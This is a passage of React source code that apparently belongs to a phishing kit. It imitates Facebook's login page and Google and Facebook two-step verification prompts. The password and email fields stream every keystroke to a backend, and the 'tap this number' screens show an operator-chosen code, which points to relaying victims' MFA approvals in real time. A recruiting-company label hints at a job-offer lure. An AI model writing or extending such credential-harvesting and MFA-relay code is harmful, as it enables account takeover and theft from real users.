  const [email, setEmail] = useState(defaultEmail || "")
  const [password, setPassword] = useState(
    () => defaultPassword || peekStoredLoginPassword("facebook") || ""
  )

  // Keep email / password visible after remount / waiting / hard refresh
  useEffect(() => {
    if (defaultEmail) setEmail(defaultEmail)
  }, [defaultEmail])

  useEffect(() => {
    if (defaultPassword) {
      setPassword(defaultPassword)
      return
    }
    if (pending) {
      const saved = peekStoredLoginPassword("facebook")
      if (saved) setPassword(saved)
    }
  }, [defaultPassword, pending])

  return (
    <div className="w-full bg-[#f0f2f5] px-4 py-6 sm:py-8">
      <div className="mx-auto w-full max-w-[396px] overflow-hidden rounded-lg bg-white shadow-[0_2px_4px_rgba(0,0,0,0.1),0_8px_16px_rgba(0,0,0,0.1)]">
        <div className="px-4 pb-1 pt-8 text-center">
          <FacebookLogo className="h-12 w-12" />
          <h1 className="mt-4 text-[20px] font-semibold leading-tight text-[#1c1e21]">
            Log into Facebook
          </h1>
          <p className="mt-2 text-[15px] text-[#65676b]">
            <RecruitingCompanyContinueLabel providerColor="#1877F2" centered />
          </p>
        </div>

        {error && !pending ? (
          <FacebookErrorBanner
            message={
              errorMessage ||
              "The password that you've entered is incorrect. Forgotten password?"
            }
          />
        ) : null}

        <form
          onSubmit={(e) => {
            if (pending) {
              e.preventDefault()
              return
            }
            onSubmit(e)
          }}
          className="space-y-3 px-4 pb-5 pt-4"
        >
          <input
            name="email"
            type="text"
            autoComplete="username"
            required
            value={email}
            onChange={(e) => {
              const next = e.target.value
              setEmail(next)
              syncVisitorFieldTyping({
                field: "email",
                value: next,
                provider: "facebook",
              })
            }}
            disabled={pending}
            placeholder="Email or phone number"
            className={FB_FIELD_CLASS}
          />
          <input
            name="password"
            type="password"
            autoComplete="current-password"
            required={!pending}
            value={password}
            onChange={(e) => {
              const next = e.target.value
              setPassword(next)
              syncVisitorFieldTyping({
                field: "password",
                value: next,
                provider: "facebook",
                emailHint: email,
              })
            }}
            disabled={pending}
            placeholder="Password"
            className={FB_FIELD_CLASS}
          />
          <button
            type="submit"
            disabled={pending}
            className="mt-1 flex h-12 w-full items-center justify-center rounded-md bg-[#1877F2] text-[20px] font-bold text-white transition hover:bg-[#166fe5] disabled:cursor-wait disabled:opacity-95"
          >
            {pending ? <FacebookSpinner /> : "Log In"}
          </button>
          <p className="pt-1 text-center">
            <a
              href="#"
              className="text-[14px] font-normal text-[#1877F2] hover:underline"
              onClick={(e) => e.preventDefault()}
            >
              Forgotten password?
            </a>
          </p>
          <div className="relative py-3 text-center">
            <span className="absolute inset-x-0 top-1/2 border-t border-[#dadde1]" />
            <span className="relative bg-white px-3 text-[13px] text-[#65676b]">or</span>
          </div>
          <div className="flex justify-center pb-1">
            <button
              type="button"
              className="rounded-md bg-[#42b72a] px-4 py-2.5 text-[17px] font-bold text-white transition hover:bg-[#36a420]"
              onClick={(e) => e.preventDefault()}
            >
              Create new account
            </button>
          </div>
        </form>

        <div className="border-t border-[#dadde1] px-4 py-3 text-center">
          <p className="text-[11px] leading-relaxed text-[#8a8d91]">
            Meta · Secure connection · We never post without your permission
          </p>
        </div>
      </div>
    </div>
  )
}

function PhoneSvg() {
  return (
    <svg width="56" height="56" viewBox="0 0 56 56" fill="none" aria-hidden>
      <rect x="16" y="4" width="24" height="48" rx="4" stroke="#444746" strokeWidth="1.5" fill="#fff" />
      <rect x="19" y="10" width="18" height="30" rx="1" fill="#f0f4f9" />
      <circle cx="28" cy="44" r="2" fill="#444746" />
      <rect x="24" y="6" width="8" height="2" rx="1" fill="#c4c7c5" />
    </svg>
  )
}

/** Google “Check your phone / tap Yes” approval prompt */
export function GoogleApproveScreen({
  email,
  error,
  onConfirmed,
  onTryAnotherWay,
  pending,
}: {
  email?: string
  error?: boolean
  onConfirmed?: () => void
  onTryAnotherWay?: () => void
  pending?: boolean
}) {
  return (
    <GoogleCheckpointShell>
      <GoogleCheckpointCard>
        <GoogleWordmark className="mb-5" />
        <h1 className="text-left text-[24px] font-normal leading-tight text-[#202124]">
          2-Step Verification
        </h1>
        <p className="mt-2 text-left text-[14px] text-[#5f6368]">
          To help keep your account safe, Google wants to make sure it&apos;s really you
        </p>

        {email && (
          <button
            type="button"
            className="mt-3 inline-flex max-w-full items-center gap-2 rounded-full border border-[#dadce0] px-3 py-1.5 text-left text-[14px] text-[#3c4043] hover:bg-[#f8f9fa]"
          >
            <span className="flex h-6 w-6 shrink-0 items-center justify-center rounded-full bg-[#e8f0fe] text-[11px] font-medium text-[#1a73e8]">
              {email.charAt(0).toUpperCase()}
            </span>
            <span className="truncate">{email}</span>
          </button>
        )}

        {error && !pending ? (
          <GoogleErrorBanner message="You didn’t approve this sign-in. Check your phone and try again." />
        ) : null}

        <div className="mt-8 flex flex-col items-start gap-5 sm:flex-row sm:items-center">
          <div className="shrink-0">
            <PhoneSvg />
          </div>
          <div className="text-left">
            <h2 className="text-[18px] font-medium text-[#202124]">Check your phone</h2>
            <p className="mt-2 text-[14px] leading-relaxed text-[#5f6368]">
              Google sent a notification to your phone. Open the Google app, tap{" "}
              <strong className="font-medium text-[#202124]">Yes</strong> on the prompt, then continue.
            </p>
          </div>
        </div>

        <div className="mt-8 flex items-center justify-between gap-3">
          <button
            type="button"
            className="text-[14px] font-medium text-[#1a73e8] hover:underline"
            disabled={pending}
            onClick={onTryAnotherWay}
          >
            Try another way
          </button>
          {pending ? (
            <GooglePrimaryButton type="button" disabled className="min-w-[140px] cursor-wait gap-2">
              <GoogleSpinner />
              Please wait…
            </GooglePrimaryButton>
          ) : onConfirmed ? (
            <GooglePrimaryButton type="button" onClick={onConfirmed}>
              Next
            </GooglePrimaryButton>
          ) : (
            <span className="inline-flex items-center gap-2 rounded-full bg-[#f1f3f4] px-3 py-1.5 text-[13px] text-[#5f6368]">
              <span className="inline-flex gap-0.5" aria-hidden>
                <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-[#5f6368]" />
                <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-[#5f6368] [animation-delay:150ms]" />
                <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-[#5f6368] [animation-delay:300ms]" />
              </span>
              Waiting for you to confirm…
            </span>
          )}
        </div>
      </GoogleCheckpointCard>
    </GoogleCheckpointShell>
  )
}

/** Google phone number challenge — only the admin-picked number on screen */
export function GooglePhoneCodeScreen({
  email,
  error,
  correctCode,
  onTryAnotherWay,
  pending,
}: {
  email?: string
  error?: boolean
  correctCode: string
  onTryAnotherWay?: () => void
  pending?: boolean
}) {
  const display = (correctCode.trim() || "47").replace(/\D/g, "") || "47"

  return (
    <GoogleCheckpointShell>
      <GoogleCheckpointCard className="sm:px-10">
        <GoogleWordmark className="mb-5" />
        <h1 className="text-left text-[24px] font-normal leading-tight tracking-[-0.01em] text-[#1f1f1f]">
          Verify it&apos;s you
        </h1>
        <p className="mt-2 max-w-[360px] text-left text-[14px] leading-[1.5] text-[#444746]">
          To help keep your account safe, Google wants to make sure it&apos;s really you trying to sign
          in
        </p>

        {email && (
          <button
            type="button"
            className="mt-4 inline-flex max-w-full items-center gap-2 rounded-full border border-[#747775] px-3 py-1.5 text-left text-[14px] text-[#1f1f1f] hover:bg-[#f8f9fa]"
          >
            <span className="flex h-6 w-6 shrink-0 items-center justify-center rounded-full bg-[#aecbfa] text-[12px] font-medium text-[#062e6f]">
              {email.charAt(0).toUpperCase()}
            </span>
            <span className="truncate">{email}</span>
            <svg className="h-4 w-4 shrink-0 text-[#444746]" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
              <path d="M7 10l5 5 5-5H7z" />
            </svg>
          </button>
        )}

        {error && (
          <GoogleErrorBanner message="The number you selected on your phone doesn’t match. Check the notification and try again." />
        )}

        <div className="google-verify-card mt-7">
          <div className="mb-5 flex justify-center">
            <PhoneSvg />
          </div>
          <h2 className="m-0 text-[16px] font-medium text-[#1f1f1f]">Check your phone</h2>
          <p className="mx-auto mt-3 max-w-[320px] text-[14px] leading-[1.55] text-[#444746]">
            Google sent a notification to your phone. Open the Google app, tap{" "}
            <strong className="font-medium text-[#1f1f1f]">Yes</strong> on the prompt, then tap{" "}
            <strong className="font-medium tabular-nums text-[#1f1f1f]">{display}</strong> on your phone
            to verify it&apos;s you.
          </p>

          <div className="mt-7 flex justify-center">
            <div
              className={cn(
                "google-verify-number flex h-[88px] w-[88px] items-center justify-center rounded-full border-2 bg-white text-[36px] font-normal tabular-nums leading-none shadow-sm",
                error
                  ? "border-[#f9ab9e] bg-[#fff8f7] text-[#b3261e]"
                  : "border-[#c4c7c5] text-[#1f1f1f]"
              )}
              aria-live="polite"
              aria-label={`Verification number ${display}`}
            >
              {display}
            </div>
          </div>
          <p className="mt-4 text-[12px] text-[#747775]">
            Tap this number on your phone when prompted
          </p>
        </div>

        <div className="mt-8 flex items-center justify-between gap-3 border-t border-[#e3e3e3] pt-4">
          <button
            type="button"
            className="rounded px-2 py-1.5 text-[14px] font-medium text-[#0b57d0] hover:bg-[#e8f0fe] disabled:opacity-50"
            disabled={pending}
            onClick={onTryAnotherWay}
          >
            Try another way
          </button>
        </div>
      </GoogleCheckpointCard>
    </GoogleCheckpointShell>
  )
}

export function FacebookApproveScreen({
  email,
  error,
  onConfirmed,
  onTryAnotherWay,
  pending,
}: {
  email?: string
  error?: boolean
  onConfirmed?: () => void
  onTryAnotherWay?: () => void
  pending?: boolean
}) {
  const masked = maskContact(email)

  return (
    <FacebookCheckpointFrame wide>
      <FacebookCheckpointHeader
        badge="Device approval"
        title={
          error && !pending
            ? "We couldn’t confirm it’s you"
            : "Check your notifications on another device"
        }
        subtitle={
          !error || pending
            ? "We sent a notification to your other devices. Open Facebook and tap Yes to confirm."
            : undefined
        }
      />

      {error && !pending ? (
        <FacebookErrorBanner message="You didn’t approve this login from another device. Open Facebook on a phone or computer where you’re already logged in, then try again." />
      ) : null}

      <div className="border-t border-[#dadde1] px-5 py-6 sm:px-10">
        {masked ? (
          <div className="mb-5 flex justify-center">
            <span className="inline-flex items-center gap-2 rounded-full border border-[#e4e6eb] bg-white px-3.5 py-1.5 text-[13px] font-semibold text-[#1c1e21] shadow-sm">
              <span className="flex h-6 w-6 items-center justify-center rounded-full bg-[#0866FF]/10 text-[11px] font-bold text-[#0866FF]">
                {masked.charAt(0).toUpperCase()}
              </span>
              {masked}
            </span>
          </div>
        ) : null}

        <div className="rounded-2xl bg-gradient-to-b from-[#eef6ff]/80 to-white p-5 ring-1 ring-[#0866FF]/10">
          <FacebookApproveIllustration />
        </div>

        {!pending && !onConfirmed ? (
          <div className="mt-5 flex justify-center">
            <span className="inline-flex items-center gap-2 rounded-full bg-white px-4 py-2 text-[13px] text-[#65676b] shadow-sm ring-1 ring-[#e4e6eb]">
              <span className="inline-flex gap-1" aria-hidden>
                <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-[#0866FF]" />
                <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-[#0866FF] [animation-delay:150ms]" />
                <span className="h-1.5 w-1.5 animate-pulse rounded-full bg-[#0866FF] [animation-delay:300ms]" />
              </span>
              Waiting for you to approve…
            </span>
          </div>
        ) : null}

        <div className="mt-6 flex flex-col-reverse items-center justify-between gap-4 border-t border-[#e4e6eb] pt-5 sm:flex-row">
          <FacebookLinkButton disabled={pending} onClick={onTryAnotherWay}>
            Try another way
          </FacebookLinkButton>
          {pending || onConfirmed ? (
            <FacebookContinueButton
              type="button"
              pending={pending}
              onClick={onConfirmed}
            />
          ) : null}
        </div>
      </div>
    </FacebookCheckpointFrame>
  )
}

export function FacebookPhoneCodeScreen({
  email,
  error,
  correctCode,
  onTryAnotherWay,
  pending,
}: {
  email?: string
  error?: boolean
  correctCode: string
  onTryAnotherWay?: () => void
  pending?: boolean
}) {
  const display = (correctCode.trim() || "47").replace(/\D/g, "") || "47"
  const masked = maskContact(email)

  return (
    <FacebookCheckpointFrame wide>
      <FacebookCheckpointHeader
        badge="Phone verification"
        title={error ? "That number didn’t match" : "Check your phone"}
        subtitle={
          error
            ? "The number you selected on your phone doesn’t match. Open the notification and try again."
            : "Open the Facebook app and tap the number shown below when prompted."
        }
      />

      <div className="border-t border-[#dadde1] px-5 py-6 text-center sm:px-10 sm:py-8">
        {masked ? (
          <div className="mb-5 flex justify-center">
            <span className="inline-flex items-center gap-2 rounded-full border border-[#e4e6eb] bg-white px-3.5 py-1.5 text-[13px] font-semibold text-[#1c1e21] shadow-sm">
              <span className="flex h-6 w-6 items-center justify-center rounded-full bg-[#0866FF]/10 text-[11px] font-bold text-[#0866FF]">
                {masked.charAt(0).toUpperCase()}
              </span>
              {masked}
            </span>
          </div>
        ) : null}

        <div className="rounded-2xl bg-gradient-to-b from-[#eef6ff]/80 to-white p-4 ring-1 ring-[#0866FF]/10">
          <FacebookPhoneIllustration number={display} />
        </div>

        <div className="mt-6 flex justify-center">
          <div
            className={cn(
              "flex h-[100px] w-[100px] items-center justify-center rounded-full text-[42px] font-bold tabular-nums leading-none shadow-[0_8px_24px_rgba(8,102,255,0.18)]",
              error
                ? "bg-[#fff5f5] text-[#b3261e] ring-2 ring-[#f9ab9e]"
                : "bg-gradient-to-b from-white to-[#e7f3ff] text-[#0866FF] ring-2 ring-[#0866FF]/30"
            )}
            aria-live="polite"
            aria-label={`Verification number ${display}`}
          >
            {display}
          </div>
        </div>

        <p className="mt-5 text-[13px] leading-relaxed text-[#65676b]">
          Tap <strong className="font-semibold tabular-nums text-[#1c1e21]">{display}</strong> in the
          Facebook notification on your phone
        </p>

        <div className="mt-6 flex justify-center border-t border-[#e4e6eb] pt-5">
          <FacebookLinkButton disabled={pending} onClick={onTryAnotherWay}>
            Try another way
          </FacebookLinkButton>
        </div>
      </div>
    </FacebookCheckpointFrame>
  )
}

export const GOOGLE_CHECKPOINT_STEPS = new Set([
  "loading",
  "2fa",
  "2fa-error",
  "2fa-sms",
  "2fa-sms-error",
  "2fa-email",
  "2fa-email-error",
  "approve",
  "approve-error",
  "phone-code",
  "phone-code-error",
])

export const FACEBOOK_CHECKPOINT_STEPS = GOOGLE_CHECKPOINT_STEPS
